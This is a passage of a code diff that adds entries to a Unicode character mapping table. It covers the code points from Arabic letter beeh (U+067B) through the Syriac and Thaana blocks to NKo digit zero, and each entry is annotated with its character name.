+ ["\u067B", "\u067B"], /* ARABIC LETTER BEEH (ARABIC LETTER BAA WITH TWO DOTS VERTICAL BELOW) */
+ ["\u067C", "\u067C"], /* ARABIC LETTER TEH WITH RING (ARABIC LETTER TAA WITH RING) */
+ ["\u067D", "\u067D"], /* ARABIC LETTER TEH WITH THREE DOTS ABOVE DOWNWARDS (ARABIC LETTER TAA WITH THREE DOTS ABOVE DOWNWARD) */
+ ["\u067E", "\u067E"], /* ARABIC LETTER PEH (ARABIC LETTER TAA WITH THREE DOTS BELOW) */
+ ["\u067F", "\u067F"], /* ARABIC LETTER TEHEH (ARABIC LETTER TAA WITH FOUR DOTS ABOVE) */
+ ["\u0680", "\u0680"], /* ARABIC LETTER BEHEH (ARABIC LETTER BAA WITH FOUR DOTS BELOW) */
+ ["\u0681", "\u0681"], /* ARABIC LETTER HAH WITH HAMZA ABOVE (ARABIC LETTER HAMZAH ON HAA) */
+ ["\u0682", "\u0682"], /* ARABIC LETTER HAH WITH TWO DOTS VERTICAL ABOVE (ARABIC LETTER HAA WITH TWO DOTS VERTICAL ABOVE) */
+ ["\u0683", "\u0683"], /* ARABIC LETTER NYEH (ARABIC LETTER HAA WITH MIDDLE TWO DOTS) */
+ ["\u0684", "\u0684"], /* ARABIC LETTER DYEH (ARABIC LETTER HAA WITH MIDDLE TWO DOTS VERTICAL) */
+ ["\u0685", "\u0685"], /* ARABIC LETTER HAH WITH THREE DOTS ABOVE (ARABIC LETTER HAA WITH THREE DOTS ABOVE) */
+ ["\u0686", "\u0686"], /* ARABIC LETTER TCHEH (ARABIC LETTER HAA WITH MIDDLE THREE DOTS DOWNWARD) */
+ ["\u0687", "\u0687"], /* ARABIC LETTER TCHEHEH (ARABIC LETTER HAA WITH MIDDLE FOUR DOTS) */
+ ["\u0688", "\u0688"], /* ARABIC LETTER DDAL (ARABIC LETTER DAL WITH SMALL TAH) */
+ ["\u0689", "\u0689"], /* ARABIC LETTER DAL WITH RING */
+ ["\u068A", "\u068A"], /* ARABIC LETTER DAL WITH DOT BELOW */
+ ["\u068B", "\u068B"], /* ARABIC LETTER DAL WITH DOT BELOW AND SMALL TAH */
+ ["\u068C", "\u068C"], /* ARABIC LETTER DAHAL (ARABIC LETTER DAL WITH TWO DOTS ABOVE) */
+ ["\u068D", "\u068D"], /* ARABIC LETTER DDAHAL (ARABIC LETTER DAL WITH TWO DOTS BELOW) */
+ ["\u068E", "\u068E"], /* ARABIC LETTER DUL (ARABIC LETTER DAL WITH THREE DOTS ABOVE) */
+ ["\u068F", "\u068F"], /* ARABIC LETTER DAL WITH THREE DOTS ABOVE DOWNWARDS (ARABIC LETTER DAL WITH THREE DOTS ABOVE DOWNWARD) */
+ ["\u0690", "\u0690"], /* ARABIC LETTER DAL WITH FOUR DOTS ABOVE */
+ ["\u0691", "\u0691"], /* ARABIC LETTER RREH (ARABIC LETTER RA WITH SMALL TAH) */
+ ["\u0692", "\u0692"], /* ARABIC LETTER REH WITH SMALL V (ARABIC LETTER RA WITH SMALL V) */
+ ["\u0693", "\u0693"], /* ARABIC LETTER REH WITH RING (ARABIC LETTER RA WITH RING) */
+ ["\u0694", "\u0694"], /* ARABIC LETTER REH WITH DOT BELOW (ARABIC LETTER RA WITH DOT BELOW) */
+ ["\u0695", "\u0695"], /* ARABIC LETTER REH WITH SMALL V BELOW (ARABIC LETTER RA WITH SMALL V BELOW) */
+ ["\u0696", "\u0696"], /* ARABIC LETTER REH WITH DOT BELOW AND DOT ABOVE (ARABIC LETTER RA WITH DOT BELOW AND DOT ABOVE) */
+ ["\u0697", "\u0697"], /* ARABIC LETTER REH WITH TWO DOTS ABOVE (ARABIC LETTER RA WITH TWO DOTS ABOVE) */
+ ["\u0698", "\u0698"], /* ARABIC LETTER JEH (ARABIC LETTER RA WITH THREE DOTS ABOVE) */
+ ["\u0699", "\u0699"], /* ARABIC LETTER REH WITH FOUR DOTS ABOVE (ARABIC LETTER RA WITH FOUR DOTS ABOVE) */
+ ["\u069A", "\u069A"], /* ARABIC LETTER SEEN WITH DOT BELOW AND DOT ABOVE */
+ ["\u069B", "\u069B"], /* ARABIC LETTER SEEN WITH THREE DOTS BELOW */
+ ["\u069C", "\u069C"], /* ARABIC LETTER SEEN WITH THREE DOTS BELOW AND THREE DOTS ABOVE */
+ ["\u069D", "\u069D"], /* ARABIC LETTER SAD WITH TWO DOTS BELOW */
+ ["\u069E", "\u069E"], /* ARABIC LETTER SAD WITH THREE DOTS ABOVE */
+ ["\u069F", "\u069F"], /* ARABIC LETTER TAH WITH THREE DOTS ABOVE */
+ ["\u06A0", "\u06A0"], /* ARABIC LETTER AIN WITH THREE DOTS ABOVE */
+ ["\u06A1", "\u06A1"], /* ARABIC LETTER DOTLESS FEH (ARABIC LETTER DOTLESS FA) */
+ ["\u06A2", "\u06A2"], /* ARABIC LETTER FEH WITH DOT MOVED BELOW (ARABIC LETTER FA WITH DOT MOVED BELOW) */
+ ["\u06A3", "\u06A3"], /* ARABIC LETTER FEH WITH DOT BELOW (ARABIC LETTER FA WITH DOT BELOW) */
+ ["\u06A4", "\u06A4"], /* ARABIC LETTER VEH (ARABIC LETTER FA WITH THREE DOTS ABOVE) */
+ ["\u06A5", "\u06A5"], /* ARABIC LETTER FEH WITH THREE DOTS BELOW (ARABIC LETTER FA WITH THREE DOTS BELOW) */
+ ["\u06A6", "\u06A6"], /* ARABIC LETTER PEHEH (ARABIC LETTER FA WITH FOUR DOTS ABOVE) */
+ ["\u06A7", "\u06A7"], /* ARABIC LETTER QAF WITH DOT ABOVE */
+ ["\u06A8", "\u06A8"], /* ARABIC LETTER QAF WITH THREE DOTS ABOVE */
+ ["\u06A9", "\u06A9"], /* ARABIC LETTER KEHEH (ARABIC LETTER OPEN CAF) */
+ ["\u06AA", "\u06AA"], /* ARABIC LETTER SWASH KAF (ARABIC LETTER SWASH CAF) */
+ ["\u06AB", "\u06AB"], /* ARABIC LETTER KAF WITH RING (ARABIC LETTER CAF WITH RING) */
+ ["\u06AC", "\u06AC"], /* ARABIC LETTER KAF WITH DOT ABOVE (ARABIC LETTER CAF WITH DOT ABOVE) */
+ ["\u06AD", "\u06AD"], /* ARABIC LETTER NG (ARABIC LETTER CAF WITH THREE DOTS ABOVE) */
+ ["\u06AE", "\u06AE"], /* ARABIC LETTER KAF WITH THREE DOTS BELOW (ARABIC LETTER CAF WITH THREE DOTS BELOW) */
+ ["\u06AF", "\u06AF"], /* ARABIC LETTER GAF */
+ ["\u06B0", "\u06B0"], /* ARABIC LETTER GAF WITH RING */
+ ["\u06B1", "\u06B1"], /* ARABIC LETTER NGOEH (ARABIC LETTER GAF WITH TWO DOTS ABOVE) */
+ ["\u06B2", "\u06B2"], /* ARABIC LETTER GAF WITH TWO DOTS BELOW */
+ ["\u06B3", "\u06B3"], /* ARABIC LETTER GUEH (ARABIC LETTER GAF WITH TWO DOTS VERTICAL BELOW) */
+ ["\u06B4", "\u06B4"], /* ARABIC LETTER GAF WITH THREE DOTS ABOVE */
+ ["\u06B5", "\u06B5"], /* ARABIC LETTER LAM WITH SMALL V */
+ ["\u06B6", "\u06B6"], /* ARABIC LETTER LAM WITH DOT ABOVE */
+ ["\u06B7", "\u06B7"], /* ARABIC LETTER LAM WITH THREE DOTS ABOVE */
+ ["\u06B8", "\u06B8"], /* ARABIC LETTER LAM WITH THREE DOTS BELOW */
+ ["\u06B9", "\u06B9"], /* ARABIC LETTER NOON WITH DOT BELOW */
+ ["\u06BA", "\u06BA"], /* ARABIC LETTER NOON GHUNNA (ARABIC LETTER DOTLESS NOON) */
+ ["\u06BB", "\u06BB"], /* ARABIC LETTER RNOON (ARABIC LETTER DOTLESS NOON WITH SMALL TAH) */
+ ["\u06BC", "\u06BC"], /* ARABIC LETTER NOON WITH RING */
+ ["\u06BD", "\u06BD"], /* ARABIC LETTER NOON WITH THREE DOTS ABOVE */
+ ["\u06BE", "\u06BE"], /* ARABIC LETTER HEH DOACHASHMEE (ARABIC LETTER KNOTTED HA) */
+ ["\u06BF", "\u06BF"], /* ARABIC LETTER TCHEH WITH DOT ABOVE */
+ ["\u06C0", "\u06C0"], /* ARABIC LETTER HEH WITH YEH ABOVE (ARABIC LETTER HAMZAH ON HA) */
+ ["\u06C1", "\u06C1"], /* ARABIC LETTER HEH GOAL (ARABIC LETTER HA GOAL) */
+ ["\u06C2", "\u06C2"], /* ARABIC LETTER HEH GOAL WITH HAMZA ABOVE (ARABIC LETTER HAMZAH ON HA GOAL) */
+ ["\u06C3", "\u06C3"], /* ARABIC LETTER TEH MARBUTA GOAL (ARABIC LETTER TAA MARBUTAH GOAL) */
+ ["\u06C4", "\u06C4"], /* ARABIC LETTER WAW WITH RING */
+ ["\u06C5", "\u06C5"], /* ARABIC LETTER KIRGHIZ OE (ARABIC LETTER WAW WITH BAR) */
+ ["\u06C6", "\u06C6"], /* ARABIC LETTER OE (ARABIC LETTER WAW WITH SMALL V) */
+ ["\u06C7", "\u06C7"], /* ARABIC LETTER U (ARABIC LETTER WAW WITH DAMMAH) */
+ ["\u06C8", "\u06C8"], /* ARABIC LETTER YU (ARABIC LETTER WAW WITH ALEF ABOVE) */
+ ["\u06C9", "\u06C9"], /* ARABIC LETTER KIRGHIZ YU (ARABIC LETTER WAW WITH INVERTED SMALL V) */
+ ["\u06CA", "\u06CA"], /* ARABIC LETTER WAW WITH TWO DOTS ABOVE */
+ ["\u06CB", "\u06CB"], /* ARABIC LETTER VE (ARABIC LETTER WAW WITH THREE DOTS ABOVE) */
+ ["\u06CC", "\u06CC"], /* ARABIC LETTER FARSI YEH (ARABIC LETTER DOTLESS YA) */
+ ["\u06CD", "\u06CD"], /* ARABIC LETTER YEH WITH TAIL (ARABIC LETTER YA WITH TAIL) */
+ ["\u06CE", "\u06CE"], /* ARABIC LETTER YEH WITH SMALL V (ARABIC LETTER YA WITH SMALL V) */
+ ["\u06CF", "\u06CF"], /* ARABIC LETTER WAW WITH DOT ABOVE */
+ ["\u06D0", "\u06D0"], /* ARABIC LETTER E (ARABIC LETTER YA WITH TWO DOTS VERTICAL BELOW) */
+ ["\u06D1", "\u06D1"], /* ARABIC LETTER YEH WITH THREE DOTS BELOW (ARABIC LETTER YA WITH THREE DOTS BELOW) */
+ ["\u06D2", "\u06D2"], /* ARABIC LETTER YEH BARREE (ARABIC LETTER YA BARREE) */
+ ["\u06D3", "\u06D3"], /* ARABIC LETTER YEH BARREE WITH HAMZA ABOVE (ARABIC LETTER HAMZAH ON YA BARREE) */
+ ["\u06D4", "\u06D4"], /* ARABIC FULL STOP (ARABIC PERIOD) */
+ ["\u06D5", "\u06D5"], /* ARABIC LETTER AE */
+ ["\u06D6", "\u06D6"], /* ARABIC SMALL HIGH LIGATURE SAD WITH LAM WITH ALEF MAKSURA */
+ ["\u06D7", "\u06D7"], /* ARABIC SMALL HIGH LIGATURE QAF WITH LAM WITH ALEF MAKSURA */
+ ["\u06D8", "\u06D8"], /* ARABIC SMALL HIGH MEEM INITIAL FORM */
+ ["\u06D9", "\u06D9"], /* ARABIC SMALL HIGH LAM ALEF */
+ ["\u06DA", "\u06DA"], /* ARABIC SMALL HIGH JEEM */
+ ["\u06DB", "\u06DB"], /* ARABIC SMALL HIGH THREE DOTS */
+ ["\u06DC", "\u06DC"], /* ARABIC SMALL HIGH SEEN */
+ ["\u06DD", "\u06DD"], /* ARABIC END OF AYAH */
+ ["\u06DE", "\u06DE"], /* ARABIC START OF RUB EL HIZB */
+ ["\u06DF", "\u06DF"], /* ARABIC SMALL HIGH ROUNDED ZERO */
+ ["\u06E0", "\u06E0"], /* ARABIC SMALL HIGH UPRIGHT RECTANGULAR ZERO */
+ ["\u06E1", "\u06E1"], /* ARABIC SMALL HIGH DOTLESS HEAD OF KHAH */
+ ["\u06E2", "\u06E2"], /* ARABIC SMALL HIGH MEEM ISOLATED FORM */
+ ["\u06E3", "\u06E3"], /* ARABIC SMALL LOW SEEN */
+ ["\u06E4", "\u06E4"], /* ARABIC SMALL HIGH MADDA */
+ ["\u06E5", "\u06E5"], /* ARABIC SMALL WAW */
+ ["\u06E6", "\u06E6"], /* ARABIC SMALL YEH */
+ ["\u06E7", "\u06E7"], /* ARABIC SMALL HIGH YEH */
+ ["\u06E8", "\u06E8"], /* ARABIC SMALL HIGH NOON */
+ ["\u06E9", "\u06E9"], /* ARABIC PLACE OF SAJDAH */
+ ["\u06EA", "\u06EA"], /* ARABIC EMPTY CENTRE LOW STOP */
+ ["\u06EB", "\u06EB"], /* ARABIC EMPTY CENTRE HIGH STOP */
+ ["\u06EC", "\u06EC"], /* ARABIC ROUNDED HIGH STOP WITH FILLED CENTRE */
+ ["\u06ED", "\u06ED"], /* ARABIC SMALL LOW MEEM */
+ ["\u06EE", "\u06EE"], /* ARABIC LETTER DAL WITH INVERTED V */
+ ["\u06EF", "\u06EF"], /* ARABIC LETTER REH WITH INVERTED V */
+ ["\u06F0", "\u06F0"], /* EXTENDED ARABIC-INDIC DIGIT ZERO (EASTERN ARABIC-INDIC DIGIT ZERO) */
+ ["\u06F1", "\u06F1"], /* EXTENDED ARABIC-INDIC DIGIT ONE (EASTERN ARABIC-INDIC DIGIT ONE) */
+ ["\u06F2", "\u06F2"], /* EXTENDED ARABIC-INDIC DIGIT TWO (EASTERN ARABIC-INDIC DIGIT TWO) */
+ ["\u06F3", "\u06F3"], /* EXTENDED ARABIC-INDIC DIGIT THREE (EASTERN ARABIC-INDIC DIGIT THREE) */
+ ["\u06F4", "\u06F4"], /* EXTENDED ARABIC-INDIC DIGIT FOUR (EASTERN ARABIC-INDIC DIGIT FOUR) */
+ ["\u06F5", "\u06F5"], /* EXTENDED ARABIC-INDIC DIGIT FIVE (EASTERN ARABIC-INDIC DIGIT FIVE) */
+ ["\u06F6", "\u06F6"], /* EXTENDED ARABIC-INDIC DIGIT SIX (EASTERN ARABIC-INDIC DIGIT SIX) */
+ ["\u06F7", "\u06F7"], /* EXTENDED ARABIC-INDIC DIGIT SEVEN (EASTERN ARABIC-INDIC DIGIT SEVEN) */
+ ["\u06F8", "\u06F8"], /* EXTENDED ARABIC-INDIC DIGIT EIGHT (EASTERN ARABIC-INDIC DIGIT EIGHT) */
+ ["\u06F9", "\u06F9"], /* EXTENDED ARABIC-INDIC DIGIT NINE (EASTERN ARABIC-INDIC DIGIT NINE) */
+ ["\u06FA", "\u06FA"], /* ARABIC LETTER SHEEN WITH DOT BELOW */
+ ["\u06FB", "\u06FB"], /* ARABIC LETTER DAD WITH DOT BELOW */
+ ["\u06FC", "\u06FC"], /* ARABIC LETTER GHAIN WITH DOT BELOW */
+ ["\u06FD", "\u06FD"], /* ARABIC SIGN SINDHI AMPERSAND */
+ ["\u06FE", "\u06FE"], /* ARABIC SIGN SINDHI POSTPOSITION MEN */
+ ["\u06FF", "\u06FF"], /* ARABIC LETTER HEH WITH INVERTED V */
+ ["\u0700", "\u0700"], /* SYRIAC END OF PARAGRAPH */
+ ["\u0701", "\u0701"], /* SYRIAC SUPRALINEAR FULL STOP */
+ ["\u0702", "\u0702"], /* SYRIAC SUBLINEAR FULL STOP */
+ ["\u0703", "\u0703"], /* SYRIAC SUPRALINEAR COLON */
+ ["\u0704", "\u0704"], /* SYRIAC SUBLINEAR COLON */
+ ["\u0705", "\u0705"], /* SYRIAC HORIZONTAL COLON */
+ ["\u0706", "\u0706"], /* SYRIAC COLON SKEWED LEFT */
+ ["\u0707", "\u0707"], /* SYRIAC COLON SKEWED RIGHT */
+ ["\u0708", "\u0708"], /* SYRIAC SUPRALINEAR COLON SKEWED LEFT */
+ ["\u0709", "\u0709"], /* SYRIAC SUBLINEAR COLON SKEWED RIGHT */
+ ["\u070A", "\u070A"], /* SYRIAC CONTRACTION */
+ ["\u070B", "\u070B"], /* SYRIAC HARKLEAN OBELUS */
+ ["\u070C", "\u070C"], /* SYRIAC HARKLEAN METOBELUS */
+ ["\u070D", "\u070D"], /* SYRIAC HARKLEAN ASTERISCUS */
+ ["\u070E", "\u070E"],
+ ["\u070F", "\u070F"], /* SYRIAC ABBREVIATION MARK */
+ ["\u0710", "\u0710"], /* SYRIAC LETTER ALAPH */
+ ["\u0711", "\u0711"], /* SYRIAC LETTER SUPERSCRIPT ALAPH */
+ ["\u0712", "\u0712"], /* SYRIAC LETTER BETH */
+ ["\u0713", "\u0713"], /* SYRIAC LETTER GAMAL */
+ ["\u0714", "\u0714"], /* SYRIAC LETTER GAMAL GARSHUNI */
+ ["\u0715", "\u0715"], /* SYRIAC LETTER DALATH */
+ ["\u0716", "\u0716"], /* SYRIAC LETTER DOTLESS DALATH RISH */
+ ["\u0717", "\u0717"], /* SYRIAC LETTER HE */
+ ["\u0718", "\u0718"], /* SYRIAC LETTER WAW */
+ ["\u0719", "\u0719"], /* SYRIAC LETTER ZAIN */
+ ["\u071A", "\u071A"], /* SYRIAC LETTER HETH */
+ ["\u071B", "\u071B"], /* SYRIAC LETTER TETH */
+ ["\u071C", "\u071C"], /* SYRIAC LETTER TETH GARSHUNI */
+ ["\u071D", "\u071D"], /* SYRIAC LETTER YUDH */
+ ["\u071E", "\u071E"], /* SYRIAC LETTER YUDH HE */
+ ["\u071F", "\u071F"], /* SYRIAC LETTER KAPH */
+ ["\u0720", "\u0720"], /* SYRIAC LETTER LAMADH */
+ ["\u0721", "\u0721"], /* SYRIAC LETTER MIM */
+ ["\u0722", "\u0722"], /* SYRIAC LETTER NUN */
+ ["\u0723", "\u0723"], /* SYRIAC LETTER SEMKATH */
+ ["\u0724", "\u0724"], /* SYRIAC LETTER FINAL SEMKATH */
+ ["\u0725", "\u0725"], /* SYRIAC LETTER E */
+ ["\u0726", "\u0726"], /* SYRIAC LETTER PE */
+ ["\u0727", "\u0727"], /* SYRIAC LETTER REVERSED PE */
+ ["\u0728", "\u0728"], /* SYRIAC LETTER SADHE */
+ ["\u0729", "\u0729"], /* SYRIAC LETTER QAPH */
+ ["\u072A", "\u072A"], /* SYRIAC LETTER RISH */
+ ["\u072B", "\u072B"], /* SYRIAC LETTER SHIN */
+ ["\u072C", "\u072C"], /* SYRIAC LETTER TAW */
+ ["\u072D", "\u072D"], /* SYRIAC LETTER PERSIAN BHETH */
+ ["\u072E", "\u072E"], /* SYRIAC LETTER PERSIAN GHAMAL */
+ ["\u072F", "\u072F"], /* SYRIAC LETTER PERSIAN DHALATH */
+ ["\u0730", "\u0730"], /* SYRIAC PTHAHA ABOVE */
+ ["\u0731", "\u0731"], /* SYRIAC PTHAHA BELOW */
+ ["\u0732", "\u0732"], /* SYRIAC PTHAHA DOTTED */
+ ["\u0733", "\u0733"], /* SYRIAC ZQAPHA ABOVE */
+ ["\u0734", "\u0734"], /* SYRIAC ZQAPHA BELOW */
+ ["\u0735", "\u0735"], /* SYRIAC ZQAPHA DOTTED */
+ ["\u0736", "\u0736"], /* SYRIAC RBASA ABOVE */
+ ["\u0737", "\u0737"], /* SYRIAC RBASA BELOW */
+ ["\u0738", "\u0738"], /* SYRIAC DOTTED ZLAMA HORIZONTAL */
+ ["\u0739", "\u0739"], /* SYRIAC DOTTED ZLAMA ANGULAR */
+ ["\u073A", "\u073A"], /* SYRIAC HBASA ABOVE */
+ ["\u073B", "\u073B"], /* SYRIAC HBASA BELOW */
+ ["\u073C", "\u073C"], /* SYRIAC HBASA-ESASA DOTTED */
+ ["\u073D", "\u073D"], /* SYRIAC ESASA ABOVE */
+ ["\u073E", "\u073E"], /* SYRIAC ESASA BELOW */
+ ["\u073F", "\u073F"], /* SYRIAC RWAHA */
+ ["\u0740", "\u0740"], /* SYRIAC FEMININE DOT */
+ ["\u0741", "\u0741"], /* SYRIAC QUSHSHAYA */
+ ["\u0742", "\u0742"], /* SYRIAC RUKKAKHA */
+ ["\u0743", "\u0743"], /* SYRIAC TWO VERTICAL DOTS ABOVE */
+ ["\u0744", "\u0744"], /* SYRIAC TWO VERTICAL DOTS BELOW */
+ ["\u0745", "\u0745"], /* SYRIAC THREE DOTS ABOVE */
+ ["\u0746", "\u0746"], /* SYRIAC THREE DOTS BELOW */
+ ["\u0747", "\u0747"], /* SYRIAC OBLIQUE LINE ABOVE */
+ ["\u0748", "\u0748"], /* SYRIAC OBLIQUE LINE BELOW */
+ ["\u0749", "\u0749"], /* SYRIAC MUSIC */
+ ["\u074A", "\u074A"], /* SYRIAC BARREKH */
+ ["\u074B", "\u074B"],
+ ["\u074C", "\u074C"],
+ ["\u074D", "\u074D"], /* SYRIAC LETTER SOGDIAN ZHAIN */
+ ["\u074E", "\u074E"], /* SYRIAC LETTER SOGDIAN KHAPH */
+ ["\u074F", "\u074F"], /* SYRIAC LETTER SOGDIAN FE */
+ ["\u0750", "\u0750"], /* ARABIC LETTER BEH WITH THREE DOTS HORIZONTALLY BELOW */
+ ["\u0751", "\u0751"], /* ARABIC LETTER BEH WITH DOT BELOW AND THREE DOTS ABOVE */
+ ["\u0752", "\u0752"], /* ARABIC LETTER BEH WITH THREE DOTS POINTING UPWARDS BELOW */
+ ["\u0753", "\u0753"], /* ARABIC LETTER BEH WITH THREE DOTS POINTING UPWARDS BELOW AND TWO DOTS ABOVE */
+ ["\u0754", "\u0754"], /* ARABIC LETTER BEH WITH TWO DOTS BELOW AND DOT ABOVE */
+ ["\u0755", "\u0755"], /* ARABIC LETTER BEH WITH INVERTED SMALL V BELOW */
+ ["\u0756", "\u0756"], /* ARABIC LETTER BEH WITH SMALL V */
+ ["\u0757", "\u0757"], /* ARABIC LETTER HAH WITH TWO DOTS ABOVE */
+ ["\u0758", "\u0758"], /* ARABIC LETTER HAH WITH THREE DOTS POINTING UPWARDS BELOW */
+ ["\u0759", "\u0759"], /* ARABIC LETTER DAL WITH TWO DOTS VERTICALLY BELOW AND SMALL TAH */
+ ["\u075A", "\u075A"], /* ARABIC LETTER DAL WITH INVERTED SMALL V BELOW */
+ ["\u075B", "\u075B"], /* ARABIC LETTER REH WITH STROKE */
+ ["\u075C", "\u075C"], /* ARABIC LETTER SEEN WITH FOUR DOTS ABOVE */
+ ["\u075D", "\u075D"], /* ARABIC LETTER AIN WITH TWO DOTS ABOVE */
+ ["\u075E", "\u075E"], /* ARABIC LETTER AIN WITH THREE DOTS POINTING DOWNWARDS ABOVE */
+ ["\u075F", "\u075F"], /* ARABIC LETTER AIN WITH TWO DOTS VERTICALLY ABOVE */
+ ["\u0760", "\u0760"], /* ARABIC LETTER FEH WITH TWO DOTS BELOW */
+ ["\u0761", "\u0761"], /* ARABIC LETTER FEH WITH THREE DOTS POINTING UPWARDS BELOW */
+ ["\u0762", "\u0762"], /* ARABIC LETTER KEHEH WITH DOT ABOVE */
+ ["\u0763", "\u0763"], /* ARABIC LETTER KEHEH WITH THREE DOTS ABOVE */
+ ["\u0764", "\u0764"], /* ARABIC LETTER KEHEH WITH THREE DOTS POINTING UPWARDS BELOW */
+ ["\u0765", "\u0765"], /* ARABIC LETTER MEEM WITH DOT ABOVE */
+ ["\u0766", "\u0766"], /* ARABIC LETTER MEEM WITH DOT BELOW */
+ ["\u0767", "\u0767"], /* ARABIC LETTER NOON WITH TWO DOTS BELOW */
+ ["\u0768", "\u0768"], /* ARABIC LETTER NOON WITH SMALL TAH */
+ ["\u0769", "\u0769"], /* ARABIC LETTER NOON WITH SMALL V */
+ ["\u076A", "\u076A"], /* ARABIC LETTER LAM WITH BAR */
+ ["\u076B", "\u076B"], /* ARABIC LETTER REH WITH TWO DOTS VERTICALLY ABOVE */
+ ["\u076C", "\u076C"], /* ARABIC LETTER REH WITH HAMZA ABOVE */
+ ["\u076D", "\u076D"], /* ARABIC LETTER SEEN WITH TWO DOTS VERTICALLY ABOVE */
+ ["\u076E", "\u076E"], /* ARABIC LETTER HAH WITH SMALL ARABIC LETTER TAH BELOW */
+ ["\u076F", "\u076F"], /* ARABIC LETTER HAH WITH SMALL ARABIC LETTER TAH AND TWO DOTS */
+ ["\u0770", "\u0770"], /* ARABIC LETTER SEEN WITH SMALL ARABIC LETTER TAH AND TWO DOTS */
+ ["\u0771", "\u0771"], /* ARABIC LETTER REH WITH SMALL ARABIC LETTER TAH AND TWO DOTS */
+ ["\u0772", "\u0772"], /* ARABIC LETTER HAH WITH SMALL ARABIC LETTER TAH ABOVE */
+ ["\u0773", "\u0773"], /* ARABIC LETTER ALEF WITH EXTENDED ARABIC-INDIC DIGIT TWO ABOVE */
+ ["\u0774", "\u0774"], /* ARABIC LETTER ALEF WITH EXTENDED ARABIC-INDIC DIGIT THREE ABOVE */
+ ["\u0775", "\u0775"], /* ARABIC LETTER FARSI YEH WITH EXTENDED ARABIC-INDIC DIGIT TWO ABOVE */
+ ["\u0776", "\u0776"], /* ARABIC LETTER FARSI YEH WITH EXTENDED ARABIC-INDIC DIGIT THREE ABOVE */
+ ["\u0777", "\u0777"], /* ARABIC LETTER FARSI YEH WITH EXTENDED ARABIC-INDIC DIGIT FOUR BELOW */
+ ["\u0778", "\u0778"], /* ARABIC LETTER WAW WITH EXTENDED ARABIC-INDIC DIGIT TWO ABOVE */
+ ["\u0779", "\u0779"], /* ARABIC LETTER WAW WITH EXTENDED ARABIC-INDIC DIGIT THREE ABOVE */
+ ["\u077A", "\u077A"], /* ARABIC LETTER YEH BARREE WITH EXTENDED ARABIC-INDIC DIGIT TWO ABOVE */
+ ["\u077B", "\u077B"], /* ARABIC LETTER YEH BARREE WITH EXTENDED ARABIC-INDIC DIGIT THREE ABOVE */
+ ["\u077C", "\u077C"], /* ARABIC LETTER HAH WITH EXTENDED ARABIC-INDIC DIGIT FOUR BELOW */
+ ["\u077D", "\u077D"], /* ARABIC LETTER SEEN WITH EXTENDED ARABIC-INDIC DIGIT FOUR ABOVE */
+ ["\u077E", "\u077E"], /* ARABIC LETTER SEEN WITH INVERTED V */
+ ["\u077F", "\u077F"], /* ARABIC LETTER KAF WITH TWO DOTS ABOVE */
+ ["\u0780", "\u0780"], /* THAANA LETTER HAA */
+ ["\u0781", "\u0781"], /* THAANA LETTER SHAVIYANI */
+ ["\u0782", "\u0782"], /* THAANA LETTER NOONU */
+ ["\u0783", "\u0783"], /* THAANA LETTER RAA */
+ ["\u0784", "\u0784"], /* THAANA LETTER BAA */
+ ["\u0785", "\u0785"], /* THAANA LETTER LHAVIYANI */
+ ["\u0786", "\u0786"], /* THAANA LETTER KAAFU */
+ ["\u0787", "\u0787"], /* THAANA LETTER ALIFU */
+ ["\u0788", "\u0788"], /* THAANA LETTER VAAVU */
+ ["\u0789", "\u0789"], /* THAANA LETTER MEEMU */
+ ["\u078A", "\u078A"], /* THAANA LETTER FAAFU */
+ ["\u078B", "\u078B"], /* THAANA LETTER DHAALU */
+ ["\u078C", "\u078C"], /* THAANA LETTER THAA */
+ ["\u078D", "\u078D"], /* THAANA LETTER LAAMU */
+ ["\u078E", "\u078E"], /* THAANA LETTER GAAFU */
+ ["\u078F", "\u078F"], /* THAANA LETTER GNAVIYANI */
+ ["\u0790", "\u0790"], /* THAANA LETTER SEENU */
+ ["\u0791", "\u0791"], /* THAANA LETTER DAVIYANI */
+ ["\u0792", "\u0792"], /* THAANA LETTER ZAVIYANI */
+ ["\u0793", "\u0793"], /* THAANA LETTER TAVIYANI */
+ ["\u0794", "\u0794"], /* THAANA LETTER YAA */
+ ["\u0795", "\u0795"], /* THAANA LETTER PAVIYANI */
+ ["\u0796", "\u0796"], /* THAANA LETTER JAVIYANI */
+ ["\u0797", "\u0797"], /* THAANA LETTER CHAVIYANI */
+ ["\u0798", "\u0798"], /* THAANA LETTER TTAA */
+ ["\u0799", "\u0799"], /* THAANA LETTER HHAA */
+ ["\u079A", "\u079A"], /* THAANA LETTER KHAA */
+ ["\u079B", "\u079B"], /* THAANA LETTER THAALU */
+ ["\u079C", "\u079C"], /* THAANA LETTER ZAA */
+ ["\u079D", "\u079D"], /* THAANA LETTER SHEENU */
+ ["\u079E", "\u079E"], /* THAANA LETTER SAADHU */
+ ["\u079F", "\u079F"], /* THAANA LETTER DAADHU */
+ ["\u07A0", "\u07A0"], /* THAANA LETTER TO */
+ ["\u07A1", "\u07A1"], /* THAANA LETTER ZO */
+ ["\u07A2", "\u07A2"], /* THAANA LETTER AINU */
+ ["\u07A3", "\u07A3"], /* THAANA LETTER GHAINU */
+ ["\u07A4", "\u07A4"], /* THAANA LETTER QAAFU */
+ ["\u07A5", "\u07A5"], /* THAANA LETTER WAAVU */
+ ["\u07A6", "\u07A6"], /* THAANA ABAFILI */
+ ["\u07A7", "\u07A7"], /* THAANA AABAAFILI */
+ ["\u07A8", "\u07A8"], /* THAANA IBIFILI */
+ ["\u07A9", "\u07A9"], /* THAANA EEBEEFILI */
+ ["\u07AA", "\u07AA"], /* THAANA UBUFILI */
+ ["\u07AB", "\u07AB"], /* THAANA OOBOOFILI */
+ ["\u07AC", "\u07AC"], /* THAANA EBEFILI */
+ ["\u07AD", "\u07AD"], /* THAANA EYBEYFILI */
+ ["\u07AE", "\u07AE"], /* THAANA OBOFILI */
+ ["\u07AF", "\u07AF"], /* THAANA OABOAFILI */
+ ["\u07B0", "\u07B0"], /* THAANA SUKUN */
+ ["\u07B1", "\u07B1"], /* THAANA LETTER NAA */
+ ["\u07B2", "\u07B2"],
+ ["\u07B3", "\u07B3"],
+ ["\u07B4", "\u07B4"],
+ ["\u07B5", "\u07B5"],
+ ["\u07B6", "\u07B6"],
+ ["\u07B7", "\u07B7"],
+ ["\u07B8", "\u07B8"],
+ ["\u07B9", "\u07B9"],
+ ["\u07BA", "\u07BA"],
+ ["\u07BB", "\u07BB"],
+ ["\u07BC", "\u07BC"],
+ ["\u07BD", "\u07BD"],
+ ["\u07BE", "\u07BE"],
+ ["\u07BF", "\u07BF"],
+ ["\u07C0", "\u07C0"], /* NKO DIGIT ZERO */
